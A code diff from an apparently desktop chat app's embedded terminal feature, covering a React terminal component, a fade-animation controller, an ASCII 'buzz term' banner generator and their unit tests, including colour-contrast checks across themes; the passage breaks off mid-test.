const focused = owner === "terminal" && document.hasFocus();
if (reportedFocusRef.current === focused) return;
reportedFocusRef.current = focused;
onTerminalFocusChange(focused);
};
reportCompositeFocus();
window.addEventListener("focus", reportCompositeFocus);
window.addEventListener("blur", reportCompositeFocus);
return () => {
window.removeEventListener("focus", reportCompositeFocus);
window.removeEventListener("blur", reportCompositeFocus);
};
}, [focusReportingEnabled, onTerminalFocusChange, owner]);
React.useLayoutEffect(() => {
const appSurface = getAppSurface();
if (!appSurface) return;
fadeRef.current = new FadeController(appSurface);
const handleKeyDown = (event: KeyboardEvent) => {
if (!enabled) return;
if (runTabChord(event)) {
event.preventDefault();
event.stopImmediatePropagation();
return;
}
if (!isToggleChord(event)) return;
if (event.isComposing) {
handoffRef.current = reduceHandoff(handoffRef.current, {
type: "focus-lost",
}).state;
return;
}
event.preventDefault();
event.stopImmediatePropagation();
const result = reduceHandoff(handoffRef.current, {
type: "chord-down",
repeat: event.repeat,
});
handoffRef.current = result.state;
};
const handleKeyUp = (event: KeyboardEvent) => {
if (!enabled || !isToggleChord(event)) return;
event.preventDefault();
event.stopImmediatePropagation();
if (event.isComposing) return;
const result = reduceHandoff(handoffRef.current, { type: "chord-up" });
handoffRef.current = result.state;
if (!result.toggled) return;
commitOwner(result.state.owner);
fadeRef.current?.toggle(
window.matchMedia("(prefers-reduced-motion: reduce)").matches,
);
};
const cancelChord = () => {
handoffRef.current = reduceHandoff(handoffRef.current, {
type: "focus-lost",
}).state;
};
window.addEventListener("keydown", handleKeyDown, true);
window.addEventListener("keyup", handleKeyUp, true);
window.addEventListener("blur", cancelChord);
document.addEventListener("visibilitychange", cancelChord);
return () => {
fadeRef.current?.settle("conceal");
fadeRef.current = null;
appSurface.inert = false;
appSurface.removeAttribute("aria-hidden");
window.removeEventListener("keydown", handleKeyDown, true);
window.removeEventListener("keyup", handleKeyUp, true);
window.removeEventListener("blur", cancelChord);
document.removeEventListener("visibilitychange", cancelChord);
};
}, [enabled, getAppSurface]);
// The banner's animation loop. It runs only while the splash is ON SCREEN,
// which needs BOTH conditions below — they are different questions:
// - `welcomeVisible`: the splash has not been dismissed by terminal output.
// - `owner === "terminal"`: the terminal layer is revealed at all.
//
// `owner` is the load-bearing one and it is not optional. This substrate is
// mounted unconditionally by AppShell on every route and merely CSS-concealed
// in Buzz mode (`.buzz-terminal-substrate` is `position:absolute; inset:0`),
// and `welcomeVisible` starts `true` and only clears on terminal INPUT. So a
// loop gated on `welcomeVisible` alone runs forever behind the whole app for
// anyone who never opens the terminal — measured at 120 rAF/s in the channel
// view, repainting a canvas nobody can see and slowing every other paint.
//
// Deliberately NOT gated on `enabled`: that is `available && Boolean(active)`
// where `available` is `isTauri()`, and a session is auto-created on channel
// open (TerminalBootstrap), so `enabled` is true while still concealed in the
// app and permanently false in the browser — it would gate the tests green
// and leave real users paying the cost. `owner` is user-gestured in both.
//
// `prefers-reduced-motion` takes the STATIC path (no motion argument), which
// is the shipped painter call, not a paused animation. Those are different:
// a stopped loop still parks on whatever phase it halted at.
React.useEffect(() => {
const canvas = bannerCanvasRef.current;
if (!canvas || !banner || !terminalPalette || !welcomeVisible) return;
if (owner !== "terminal") return;
const dpr = window.devicePixelRatio || 1;
if (reducedMotion) {
if (!paintTerminalBanner(canvas, banner, terminalPalette, dpr))
setWelcomeVisible(false);
return;
}
// Built once per palette, not per frame: the table is phase-independent.
const table = buildBannerColorTable(terminalPalette);
const start = performance.now();
let frame = 0;
const tick = (now: number) => {
if (
!paintTerminalBanner(canvas, banner, terminalPalette, dpr, {
phase: phaseAt((now - start) / 1000),
table,
})
) {
setWelcomeVisible(false);
return;
}
frame = window.requestAnimationFrame(tick);
};
frame = window.requestAnimationFrame(tick);
return () => window.cancelAnimationFrame(frame);
}, [banner, owner, reducedMotion, terminalPalette, welcomeVisible]);
React.useEffect(() => {
for (const delivered of frames) {
if (appliedFramesRef.current.has(delivered.frame)) continue;
appliedFramesRef.current.add(delivered.frame);
let grid = gridsRef.current.get(delivered.sessionId);
if (!grid) {
grid = new TerminalGrid(delivered.frame.viewport);
gridsRef.current.set(delivered.sessionId, grid);
} else if (
grid.viewport.generation !== delivered.frame.viewport.generation ||
grid.viewport.columns !== delivered.frame.viewport.columns ||
grid.viewport.screenLines !== delivered.frame.viewport.screenLines
) {
grid.resize(delivered.frame.viewport);
}
grid.apply(delivered.frame);
consumeFrame(delivered.frame);
if (
delivered.sessionId === activeSessionId &&
revealedRef.current &&
hasVisibleOutput(delivered.frame)
) {
// Policy: the banner is a splash for the reveal, so spawn-time shell
// output must not dismiss it. Only visible output from the active PTY
// that arrives after the terminal has been revealed (or the first
// keystroke, see sendInput) removes the overlay.
setWelcomeVisible(false);
}
}
gridRef.current = activeSessionId
? (gridsRef.current.get(activeSessionId) ?? null)
: null;
const canvas = canvasRef.current;
if (!canvas) return;
if (!terminalPalette) {
forceBuzzFallback();
return;
}
const context = canvas.getContext("2d", { alpha: false });
if (!context) {
forceBuzzFallback();
return;
}
const dpr = window.devicePixelRatio || 1;
const bounds = canvas.getBoundingClientRect();
const pixelWidth = Math.round(bounds.width * dpr);
const pixelHeight = Math.round(bounds.height * dpr);
const resized =
canvas.width !== pixelWidth || canvas.height !== pixelHeight;
const paletteChanged = paintedPaletteRef.current !== terminalPalette;
paintedPaletteRef.current = terminalPalette;
// A grid drains its dirty set in paint(), so a session that was painted and
// then deactivated comes back holding rows with nothing marked dirty. Both
// refs are written after the early returns above, so a pass that bails
// keeps the switch pending instead of swallowing it.
const sessionChanged = paintedSessionRef.current !== activeSessionId;
paintedSessionRef.current = activeSessionId;
const repaintAll = resized || paletteChanged || sessionChanged;
if (resized) {
canvas.width = pixelWidth;
canvas.height = pixelHeight;
}
if (repaintAll) {
gridRef.current?.markAllDirty();
}
context.setTransform(dpr, 0, 0, dpr, 0, 0);
if (repaintAll) {
// Not grid-guarded: switching to a session that has delivered no frame
// yet has no grid to mark or paint, so this fill is the only thing that
// erases the outgoing session's pixels.
context.fillStyle = terminalPalette.background;
context.fillRect(0, 0, bounds.width, bounds.height);
}
gridRef.current?.setCursorPainted(cursorPainted);
gridRef.current?.paint(context, TERMINAL_CELL_METRICS, terminalPalette);
}, [activeSessionId, cursorPainted, frames, terminalPalette]);
const runTabAction = (action: () => void) => {
action();
if (owner === "terminal") {
textareaRef.current?.focus({ preventScroll: true });
}
};
return (
<section
aria-label="Buzz Term"
className="buzz-terminal-substrate"
data-terminal-owner={owner}
style={terminalStyle}
onWheel={(event) => {
event.preventDefault();
const sessionId = activeSession?.id;
if (!sessionId) return;
const deltaPx =
event.deltaMode === 1
? event.deltaY * CELL_HEIGHT
: event.deltaMode === 2
? event.deltaY * event.currentTarget.clientHeight
: event.deltaY;
const result = accumulateScrollLines(
{ remainderPx: scrollBySessionRef.current.get(sessionId) ?? 0 },
deltaPx,
CELL_HEIGHT,
);
scrollBySessionRef.current.set(sessionId, result.state.remainderPx);
if (result.lines !== 0) onScroll(result.lines);
}}
>
<div className="buzz-terminal-contract-bar">
<div className="buzz-terminal-tabs" role="tablist">
{sessions.map((session, index) => (
<div
className={cn(
"buzz-terminal-tab",
session.active && "buzz-terminal-tab-active",
)}
key={session.id}
role="presentation"
>
<button
aria-selected={session.active}
className="buzz-terminal-tab-select"
disabled={session.closing}
onClick={() => runTabAction(() => onSelectSession(session.id))}
role="tab"
type="button"
>
<span className="buzz-terminal-designator">
SYS.{String(index + 1).padStart(2, "0")}
</span>
<span>{session.closing ? "CLOSING" : session.title}</span>
</button>
<button
aria-label={`Close ${session.title}`}
className="buzz-terminal-close"
disabled={session.closing}
onClick={() => runTabAction(() => onCloseSession(session.id))}
type="button"
>
×
</button>
</div>
))}
<button
aria-label="New Buzz Term tab"
className="buzz-terminal-new-tab"
onClick={() => runTabAction(onNewSession)}
type="button"
>
+
</button>
</div>
<div className="buzz-terminal-readout">
<span>{channelName ? `#${channelName}` : "BUZZ"}</span>
<span>LOCAL PTY · PRIVATE</span>
<span>{shortcutLabel} BUZZ</span>
</div>
</div>
{/* biome-ignore lint/a11y/noStaticElementInteractions: the hidden textarea owns keyboard semantics; this only preserves its focus across canvas clicks. */}
<div
className="buzz-terminal-viewport"
onMouseDown={(event) => {
if (owner !== "terminal") return;
// Preventing the canvas mousedown also suppresses selection. Revisit
// this when the terminal gains mouse selection support.
event.preventDefault();
textareaRef.current?.focus({ preventScroll: true });
}}
>
<canvas ref={canvasRef} />
{welcomeVisible && banner ? (
<canvas className="buzz-terminal-welcome" ref={bannerCanvasRef} />
) : null}
<textarea
aria-label="Terminal input"
autoCapitalize="off"
autoComplete="off"
className="buzz-terminal-input"
onCompositionEnd={() => {
handoffRef.current = reduceHandoff(handoffRef.current, {
type: "composition-end",
}).state;
}}
onCompositionStart={() => {
handoffRef.current = reduceHandoff(handoffRef.current, {
type: "composition-start",
}).state;
}}
onInput={(event) => {
if (handoffRef.current.composing) return;
const committed = event.currentTarget.value;
event.currentTarget.value = "";
sendInput(committed);
}}
onKeyDown={(event) => {
if (event.nativeEvent.isComposing) {
event.stopPropagation();
return;
}
if (isToggleChord(event.nativeEvent)) return;
const encoded = encodeTerminalKey(event);
if (encoded) {
event.preventDefault();
sendInput(encoded);
}
}}
onPaste={(event) => {
event.preventDefault();
sendInput(
encodePaste(
event.clipboardData.getData("text/plain"),
bracketedPaste,
),
);
}}
ref={textareaRef}
spellCheck={false}
tabIndex={owner === "terminal" ? 0 : -1}
/>
</div>
<div aria-live="polite" className="sr-only">
{owner === "terminal" ? "Buzz Term mode" : "Buzz mode"}
</div>
</section>
);
}

View File

@@ -0,0 +1,154 @@
import assert from "node:assert/strict";
import test from "node:test";
import {
CONCEAL_DURATION_MS,
FADE_EASING,
FadeController,
REVEAL_DURATION_MS,
} from "./fadeController.ts";
function deferred() {
let resolve;
const promise = new Promise((next) => {
resolve = next;
});
return { promise, resolve };
}
function fixture() {
const calls = [];
const completions = [deferred()];
const animation = {
currentTime: 0,
playbackRate: 0,
finished: completions[0].promise,
play() {
calls.push("play");
completions.push(deferred());
this.finished = completions.at(-1).promise;
},
reverse() {
calls.push("reverse");
completions.push(deferred());
this.finished = completions.at(-1).promise;
},
cancel() {
calls.push("cancel");
},
};
// Models the part of CSSOM this class depends on: an inline declaration is
// PRESENT or ABSENT, and only an absent one lets the stylesheet through.
// A plain `{ willChange: "auto" }` bag cannot tell those apart, so it would
// score a clobbering write as a correct release.
const authored = "bottom, box-shadow";
const style = {
opacity: "1",
willChange: "",
removeProperty(property) {
assert.equal(property, "will-change");
this.willChange = "";
},
/** What the element would actually compute, stylesheet included. */
get computedWillChange() {
return this.willChange === "" ? authored : this.willChange;
},
};
const surface = {
authored,
style,
animate(frames, options) {
calls.push({ frames, options });
return animation;
},
};
return {
animation,
calls,
completions,
controller: new FadeController(surface),
surface,
};
}
test("reversal reuses the one timeline and scales return playback", () => {
const { animation, calls, controller } = fixture();
assert.equal(controller.toggle(false), "reveal");
assert.equal(controller.toggle(false), "conceal");
assert.equal(calls.filter((call) => typeof call === "object").length, 1);
assert.equal(
animation.playbackRate,
REVEAL_DURATION_MS / CONCEAL_DURATION_MS,
);
assert.equal(calls.at(-1), "reverse");
assert.equal(calls[0].options.easing, FADE_EASING);
});
test("fade durations are half the original timing", () => {
assert.equal(REVEAL_DURATION_MS, 360);
assert.equal(CONCEAL_DURATION_MS, 210);
});
test("completed fades retain the timeline but release its compositor hint", async () => {
const { calls, completions, controller, surface } = fixture();
assert.equal(controller.toggle(false), "reveal");
completions[0].resolve();
await Promise.resolve();
assert.equal(surface.style.computedWillChange, surface.authored);
assert.equal(controller.toggle(false), "conceal");
assert.equal(calls.includes("cancel"), false);
assert.equal(surface.style.willChange, "opacity");
assert.equal(calls.filter((call) => typeof call === "object").length, 1);
});
test("a stale completion cannot release the hint during a reversal", async () => {
const { completions, controller, surface } = fixture();
controller.toggle(false);
controller.toggle(false);
completions[0].resolve();
await Promise.resolve();
assert.equal(surface.style.willChange, "opacity");
completions[1].resolve();
await Promise.resolve();
assert.equal(surface.style.computedWillChange, surface.authored);
});
test("reduced motion settles immediately without allocating an animation", () => {
const { calls, controller, surface } = fixture();
assert.equal(controller.toggle(true), "reveal");
assert.equal(surface.style.opacity, "0");
assert.equal(surface.style.computedWillChange, surface.authored);
assert.deepEqual(calls, []);
});
test('releasing the fade hint restores the authored will-change, not "auto"', async () => {
const { completions, controller, surface } = fixture();
// Before any fade the element is on the stylesheet's hint.
assert.equal(surface.style.computedWillChange, surface.authored);
controller.toggle(false);
assert.equal(surface.style.willChange, "opacity");
completions[0].resolve();
await Promise.resolve();
// The inline declaration must be REMOVED. Writing the literal "auto" would
// leave an inline value that outranks the stylesheet and permanently strips
// the surface's authored compositor hint after the first fade.
assert.equal(surface.style.willChange, "");
assert.equal(surface.style.computedWillChange, surface.authored);
});
test('settle also restores the authored hint rather than pinning "auto"', () => {
const { controller, surface } = fixture();
controller.toggle(false);
assert.equal(surface.style.willChange, "opacity");
controller.settle("conceal");
assert.equal(surface.style.willChange, "");
assert.equal(surface.style.computedWillChange, surface.authored);
});

View File

@@ -0,0 +1,100 @@
export const REVEAL_DURATION_MS = 360;
export const CONCEAL_DURATION_MS = 210;
export const FADE_EASING = "cubic-bezier(.2,.8,.2,1)";
type Direction = "reveal" | "conceal";
type AnimationLike = {
currentTime: CSSNumberish | null;
playbackRate: number;
play(): void;
reverse(): void;
cancel(): void;
finished: Promise<unknown>;
};
type SurfaceLike = {
style: Pick<CSSStyleDeclaration, "opacity" | "willChange" | "removeProperty">;
animate(
keyframes: Keyframe[] | PropertyIndexedKeyframes | null,
options?: number | KeyframeAnimationOptions,
): AnimationLike;
};
/** One reversible opacity timeline; toggles never queue a second animation. */
export class FadeController {
#surface: SurfaceLike;
#animation: AnimationLike | null = null;
#direction: Direction = "conceal";
#token = 0;
constructor(surface: SurfaceLike) {
this.#surface = surface;
}
/**
* The fade owns `will-change` only for as long as it is animating. The app
* surface also carries an authored `will-change` for the huddle drawer
* transition, and an inline declaration outranks the stylesheet — so writing
* the literal `"auto"` does not "clear" the hint, it permanently replaces
* the drawer's. Removing the inline property hands the element back to CSS.
*/
#releaseHint(): void {
this.#surface.style.removeProperty("will-change");
}
settle(direction: Direction): void {
if (this.#animation) {
this.#token += 1;
this.#animation.cancel();
this.#animation = null;
}
this.#direction = direction;
this.#surface.style.opacity = direction === "reveal" ? "0" : "1";
this.#releaseHint();
}
toggle(reducedMotion: boolean): Direction {
const next = this.#direction === "reveal" ? "conceal" : "reveal";
if (reducedMotion) {
this.settle(next);
return next;
}
this.#direction = next;
this.#surface.style.willChange = "opacity";
if (!this.#animation) {
this.#animation = this.#surface.animate(
[{ opacity: 1 }, { opacity: 0 }],
{
duration: REVEAL_DURATION_MS,
easing: FADE_EASING,
fill: "both",
},
);
this.#animation.playbackRate = 1;
if (next === "conceal") {
this.#animation.currentTime = REVEAL_DURATION_MS;
this.#animation.playbackRate = REVEAL_DURATION_MS / CONCEAL_DURATION_MS;
this.#animation.reverse();
}
} else if (next === "reveal") {
this.#animation.playbackRate = 1;
this.#animation.play();
} else {
this.#animation.playbackRate = REVEAL_DURATION_MS / CONCEAL_DURATION_MS;
this.#animation.reverse();
}
const animation = this.#animation;
const token = ++this.#token;
void animation.finished
.then(() => {
if (this.#animation === animation && this.#token === token) {
this.#releaseHint();
}
})
.catch(() => {
// Reversal/cancellation rejects `finished`; the live timeline owns state.
});
return next;
}
}

View File

@@ -0,0 +1,109 @@
import assert from "node:assert/strict";
import test from "node:test";
import { buildTerminalBanner } from "./terminalBanner.ts";
function layers(banner) {
return new Map(
["field", "head", "bevel_hi", "bevel_lo"].map((layer) => [
layer,
banner.cells.flat().filter((cell) => cell.layer === layer),
]),
);
}
function frameBounds(banner) {
const cells = banner.cells.flatMap((row, y) =>
row.flatMap((cell, x) =>
cell.layer === "bevel_hi" || cell.layer === "bevel_lo" ? [{ x, y }] : [],
),
);
return {
top: Math.min(...cells.map(({ y }) => y)),
left: Math.min(...cells.map(({ x }) => x)),
bottom: Math.max(...cells.map(({ y }) => y)) + 1,
right: Math.max(...cells.map(({ x }) => x)) + 1,
};
}
function headRows(banner) {
const cells = banner.cells.flatMap((row, y) =>
row.flatMap((cell, x) =>
cell.layer === "head" ? [{ ...cell, x, y }] : [],
),
);
const left = Math.min(...cells.map(({ x }) => x));
const right = Math.max(...cells.map(({ x }) => x));
const top = Math.min(...cells.map(({ y }) => y));
const bottom = Math.max(...cells.map(({ y }) => y));
return Array.from({ length: bottom - top + 1 }, (_, row) =>
Array.from(
{ length: right - left + 1 },
(_, column) =>
cells.find(({ x, y }) => x === left + column && y === top + row)
?.char ?? " ",
)
.join("")
.trimEnd(),
);
}
const EXPECTED_BUZZ_TERM = [
"██ ██",
"██▄▄▄ ██ ██ ██████ ██████ █████ ▄███▄ ██ ▄██ ██▄██▄██",
"██▀▀██ ██ ██ ▄██ ▄██ ██ ██▄▄▄█ ███▀▀ ██ ██ ██",
"██ ██ ██ ██ ▄██▀ ▄██▀ ██ ██ ██ ██ ██ ██",
"██████ ▀█████ ██████ ██████ ███ ▀███▀ ██ ██ ██ ██",
];
test("builds the amended four-layer Buzz Term composite", () => {
const banner = buildTerminalBanner(183, 69, 17 / 8.4);
assert.ok(banner);
const seen = layers(banner);
for (const layer of seen.keys()) assert.ok(seen.get(layer).length > 0, layer);
const head = seen.get("head");
const sweep = head.map((cell) => cell.t);
assert.equal(Math.min(...sweep), 0);
assert.equal(Math.max(...sweep), 1);
assert.ok(head.every((cell) => cell.layer === "head"));
const { top, left, bottom, right } = frameBounds(banner);
assert.equal(banner.cells[top][left].layer, "bevel_hi");
assert.equal(banner.cells[bottom - 1][right - 1].layer, "bevel_lo");
assert.deepEqual(headRows(banner), EXPECTED_BUZZ_TERM);
});
test("requires every frame emitter independently", () => {
const banner = buildTerminalBanner(183, 69, 17 / 8.4);
assert.ok(banner);
const { top, left, bottom, right } = frameBounds(banner);
for (let x = left; x < right; x += 1)
assert.equal(banner.cells[top][x].layer, "bevel_hi", `top_row:${x}`);
for (let y = top + 1; y < bottom - 1; y += 1) {
assert.equal(banner.cells[y][left].layer, "bevel_hi", `left_rail:${y}`);
assert.equal(
banner.cells[y][right - 1].layer,
"bevel_lo",
`right_rail:${y}`,
);
}
for (let x = left; x < right; x += 1)
assert.equal(
banner.cells[bottom - 1][x].layer,
"bevel_lo",
`bottom_row:${x}`,
);
});
test("emits complete hexagons only and fades per ray", () => {
const banner = buildTerminalBanner(112, 46, 17 / 8.4);
assert.ok(banner);
const field = layers(banner).get("field");
assert.equal(field.length % 8, 0);
assert.ok(field.some((cell) => cell.t < 0.1));
assert.ok(field.some((cell) => cell.t > 0.5));
});
test("declines viewports too small for the complete wordmark", () => {
assert.equal(buildTerminalBanner(40, 20, 17 / 8.4), null);
});

View File

@@ -0,0 +1,276 @@
export type TerminalBannerLayer = "field" | "head" | "bevel_hi" | "bevel_lo";
export type TerminalBannerCell = Readonly<{
char: string;
layer?: TerminalBannerLayer;
t: number;
}>;
export type TerminalBanner = Readonly<{
cells: readonly (readonly TerminalBannerCell[])[];
}>;
const HEX = [
[0, 1, "_"],
[0, 2, "_"],
[1, 0, "/"],
[1, 3, "\\"],
[2, 0, "\\"],
[2, 1, "_"],
[2, 2, "_"],
[2, 3, "/"],
] as const;
const GLYPHS: Readonly<Record<string, readonly string[]>> = {
b: ["██ ", "██▄▄▄ ", "██▀▀██ ", "██ ██ ", "██████ "],
u: [" ", "██ ██ ", "██ ██ ", "██ ██ ", "▀█████ "],
z: [" ", "██████ ", " ▄██ ", " ▄██▀ ", "██████ "],
t: [" ██ ", "█████ ", " ██ ", " ██ ", " ███ "],
e: [" ", " ▄███▄ ", "██▄▄▄█ ", "██ ", " ▀███▀ "],
r: [" ", "██ ▄██ ", "███▀▀ ", "██ ", "██ "],
m: [" ", "██▄██▄██", "██ ██ ██", "██ ██ ██", "██ ██ ██"],
" ": [" ", " ", " ", " ", " "],
};
const INK_FRAME = {
topLeft: "▛",
topRight: "▜",
bottomLeft: "▙",
bottomRight: "▟",
top: "▀",
bottom: "▄",
left: "▌",
right: "▐",
} as const;
const LAYERS: readonly TerminalBannerLayer[] = [
"field",
"head",
"bevel_hi",
"bevel_lo",
];
type TerminalBannerEmitter =
| "field"
| "top_row"
| "left_rail"
| "right_rail"
| "bottom_row"
| "wordmark";
const EMITTERS: readonly TerminalBannerEmitter[] = [
"field",
"top_row",
"left_rail",
"right_rail",
"bottom_row",
"wordmark",
];
function trimRight(value: string): string {
return value.replace(/\s+$/, "");
}
function wordmark(gap: number): readonly string[] {
const rows = Array.from({ length: 5 }, () => "");
for (const [index, letter] of [..."buzz term"].entries()) {
const glyph = GLYPHS[letter];
for (let row = 0; row < rows.length; row += 1) {
rows[row] += glyph[row] + (index < 8 ? " ".repeat(gap) : "");
}
}
return rows.map(trimRight).filter((row) => row.trim());
}
function fitWordmark(columns: number): readonly string[] | null {
for (const gap of [3, 2, 1, 0]) {
const mark = wordmark(gap);
if (Math.max(...mark.map((row) => row.length)) <= columns) return mark;
}
return null;
}
function stableRandom(band: number, index: number): number {
let value = 2166136261;
for (const code of [...`${band}:${index}`].map((char) =>
char.charCodeAt(0),
)) {
value = Math.imul(value ^ code, 16777619);
}
return (value >>> 0) / 0xffffffff;
}
function completeHexes(columns: number, rows: number) {
const cells: { band: number; index: number; y: number; x: number }[] = [];
for (let band = 0, y = -2; y < rows; band += 1, y += 2) {
for (
let index = 0, x = -6 + (band % 2 ? 3 : 0);
x < columns;
index += 1, x += 6
) {
if (
HEX.every(
([dy, dx]) =>
y + dy >= 0 && y + dy < rows && x + dx >= 0 && x + dx < columns,
)
) {
cells.push({ band, index, y, x });
}
}
}
return cells;
}
export function buildTerminalBanner(
columns: number,
rows: number,
cellAspect: number,
): TerminalBanner | null {
const mark = fitWordmark(columns - 10);
if (!mark || rows < mark.length + 6) return null;
const width = Math.max(...mark.map((row) => row.length));
const height = mark.length;
const paddingX = columns >= width + 24 ? 6 : 2;
const paddingY = rows >= height + 12 ? 2 : 1;
const innerWidth = Math.min(columns - 4, width + paddingX * 2);
const frameWidth = innerWidth + 2;
const frameHeight = height + paddingY * 2 + 2;
const left = Math.floor((columns - frameWidth) / 2);
const top = Math.floor((rows - frameHeight) / 2);
const centerX = left + frameWidth / 2;
const centerY = top + frameHeight / 2;
const grid: TerminalBannerCell[][] = Array.from({ length: rows }, () =>
Array.from({ length: columns }, () => ({ char: " ", t: 0 })),
);
const emitted = new Set<TerminalBannerEmitter>();
const put = (
y: number,
x: number,
char: string,
layer: TerminalBannerLayer,
t = 0,
emitter?: TerminalBannerEmitter,
) => {
if (y >= 0 && y < rows && x >= 0 && x < columns) {
grid[y][x] = { char, layer, t };
if (emitter) emitted.add(emitter);
}
};
const halfWidth = frameWidth / 2;
const halfHeight = (frameHeight / 2) * cellAspect;
const viewportHalfWidth = columns / 2;
const viewportHalfHeight = (rows / 2) * cellAspect;
for (const hex of completeHexes(columns, rows)) {
if (
HEX.some(
([offsetY, offsetX]) =>
hex.y + offsetY >= top - 1 &&
hex.y + offsetY < top + frameHeight + 1 &&
hex.x + offsetX >= left - 2 &&
hex.x + offsetX < left + frameWidth + 2,
)
) {
continue;
}
const dx = hex.x + 1.5 - centerX;
const dy = (hex.y + 1 - centerY) * cellAspect;
const ellipse = Math.hypot(dx / halfWidth, dy / halfHeight);
if (ellipse <= 1) continue;
const viewport = Math.max(
Math.abs(dx) / viewportHalfWidth,
Math.abs(dy) / viewportHalfHeight,
);
const ray =
ellipse <= viewport
? 0
: Math.min(
1,
Math.max(0, (viewport * (ellipse - 1)) / (ellipse - viewport)),
);
if (
ray > 0.55 &&
stableRandom(hex.band, hex.index) < ((ray - 0.55) / 0.45) ** 1.3
)
continue;
for (const [offsetY, offsetX, char] of HEX)
put(hex.y + offsetY, hex.x + offsetX, char, "field", ray * ray, "field");
}
for (
let y = Math.max(0, top - 1);
y < Math.min(rows, top + frameHeight + 1);
y += 1
) {
for (
let x = Math.max(0, left - 2);
x < Math.min(columns, left + frameWidth + 2);
x += 1
)
grid[y][x] = { char: " ", t: 0 };
}
const frame = INK_FRAME;
put(top, left, frame.topLeft, "bevel_hi", 0, "top_row");
for (let x = 0; x < innerWidth; x += 1)
put(top, left + x + 1, frame.top, "bevel_hi", 0, "top_row");
put(top, left + frameWidth - 1, frame.topRight, "bevel_hi", 0, "top_row");
for (let y = top + 1; y < top + frameHeight - 1; y += 1) {
put(y, left, frame.left, "bevel_hi", 0, "left_rail");
put(y, left + frameWidth - 1, frame.right, "bevel_lo", 0, "right_rail");
}
put(
top + frameHeight - 1,
left,
frame.bottomLeft,
"bevel_lo",
0,
"bottom_row",
);
for (let x = 0; x < innerWidth; x += 1)
put(
top + frameHeight - 1,
left + x + 1,
frame.bottom,
"bevel_lo",
0,
"bottom_row",
);
put(
top + frameHeight - 1,
left + frameWidth - 1,
frame.bottomRight,
"bevel_lo",
0,
"bottom_row",
);
const markLeft = left + Math.floor((frameWidth - width) / 2);
const markTop = top + paddingY + 1;
const ink = mark.flatMap((row, y) =>
[...row].flatMap((char, x) => (char === " " ? [] : [{ char, x, y }])),
);
if (ink.length === 0) return null;
const minX = Math.min(...ink.map(({ x }) => x));
const maxX = Math.max(...ink.map(({ x }) => x));
const span = Math.max(1, maxX - minX);
for (const cell of ink)
put(
markTop + cell.y,
markLeft + cell.x,
cell.char,
"head",
(cell.x - minX) / span,
"wordmark",
);
const seen = new Map<TerminalBannerLayer, number[]>();
for (const row of grid)
for (const cell of row)
if (cell.layer)
seen.set(cell.layer, [...(seen.get(cell.layer) ?? []), cell.t]);
if (LAYERS.some((layer) => !seen.has(layer))) return null;
if (EMITTERS.some((emitter) => !emitted.has(emitter))) return null;
const sweep = seen.get("head") ?? [];
if (Math.min(...sweep) !== 0 || Math.max(...sweep) !== 1) return null;
return { cells: grid };
}

View File

@@ -0,0 +1,216 @@
import assert from "node:assert/strict";
import test from "node:test";
import { extractTerminalPalette } from "../../shared/theme/terminal-palette.ts";
import {
SYNTAX_THEMES,
loadThemeData,
} from "../../shared/theme/theme-loader.ts";
import {
bannerColor,
bannerStops,
stopsAreDistinct,
de00,
hex2rgb,
lab,
ratio,
} from "./terminalBannerColor.ts";
// Gates. contrast 4.5 is WCAG 2.2 SC 1.4.3 (body text); the rest are HOUSE
// thresholds with no external standard, sized by sweep.
const CONTRAST_MIN = 4.5;
const CHROMA_MIN = 16;
const HUE_MIN = 12;
const SRGB_MIN = 45;
const SAMPLES = 101;
const chroma = (h) => Math.hypot(lab(h).a, lab(h).b);
/** Hue-only CIEDE2000: both colours forced to a shared L, so lightness cannot
* rescue a pair that is one hue at two brightnesses. */
const hueDist = (a, b) => {
const p = lab(a),
q = lab(b),
L = (p.L + q.L) / 2;
return de00({ L, a: p.a, b: p.b }, { L, a: q.a, b: q.b });
};
const srgbDist = (a, b) =>
Math.hypot(...hex2rgb(a).map((v, i) => v - hex2rgb(b)[i]));
const minPair = (s, f) => Math.min(f(s[0], s[1]), f(s[1], s[2]), f(s[0], s[2]));
/** Signed short-arc hue step, in DEGREES. Degrees matter: the reversal
* deadband below is calibrated in them. */
const shortArcStep = (a, b) => {
const p = lab(a),
q = lab(b);
let d = (Math.atan2(q.b, q.a) - Math.atan2(p.b, p.a)) * (180 / Math.PI);
if (d > 180) d -= 360;
if (d < -180) d += 360;
return d;
};
// 8-bit output quantization jitters the hue angle by a few tenths of a degree,
// so sub-0.5deg steps are noise, not reversals. Counting them flagged 56 clean
// themes. The gate is the COUNT of real reversals, allowed up to 10% of samples.
const REVERSAL_DEADBAND_DEG = 0.5;
// Production loader + production extractor: the palettes under test are the
// ones the app actually renders, not a fixture that can drift from them.
async function palettes() {
const out = [];
for (const name of SYNTAX_THEMES) {
out.push([name, extractTerminalPalette(await loadThemeData(name))]);
}
return out;
}
const THEMES = await palettes();
test("every shipped theme is censused", () => {
assert.equal(THEMES.length, SYNTAX_THEMES.length);
assert.equal(THEMES.length, 62);
});
test("wordmark holds contrast and chroma across the whole sweep, not just at the stops", () => {
// Dense sampling is load-bearing: an RGB lerp between opposing hues crosses
// the neutral axis, so the fade greys out mid-glyph while all three STOPS
// stay chromatic. Endpoint-only checks pass that bug. (kills M4)
const bad = [];
for (const [name, p] of THEMES) {
const { stops } = bannerStops(p);
for (let i = 0; i < SAMPLES; i++) {
const c = bannerColor(p, stops, "head", i / (SAMPLES - 1));
const cr = ratio(c, p.background);
if (cr < CONTRAST_MIN - 0.005)
bad.push(`${name} contrast ${cr.toFixed(2)}`);
if (chroma(c) < CHROMA_MIN)
bad.push(`${name} chroma ${chroma(c).toFixed(1)}`);
}
}
assert.deepEqual(bad.slice(0, 8), [], `${bad.length} failures`); // kills M1, M2, M10, M11
});
test("themes whose own palette lacks three hues fall back to synthesis", () => {
// This is where the distinctness gate is OBSERVABLE. Asserting only that the
// returned stops pass the gate is vacuous — the gate is what produced them,
// and with it disabled the fallback still yields passing stops. What changes
// is WHICH themes take the fallback, so that is what gets pinned.
const synth = THEMES.filter(([, p]) => bannerStops(p).mode === "synth")
.map(([name]) => name)
.sort();
assert.deepEqual(synth, ["min-dark", "vesper"]);
});
test("the three stops are distinct by hue AND by sRGB distance", () => {
// Conjunction, not either alone: sRGB counts lightness, so white vs #a0a0a0
// scores 165 while being hue-identical; hue alone would admit stops that
// differ in angle but barely in appearance.
const bad = [];
for (const [name, p] of THEMES) {
const { stops } = bannerStops(p);
const h = minPair(stops, hueDist),
d = minPair(stops, srgbDist);
if (h < HUE_MIN) bad.push(`${name} hue ${h.toFixed(1)}`);
if (d < SRGB_MIN) bad.push(`${name} srgb ${d.toFixed(1)}`);
}
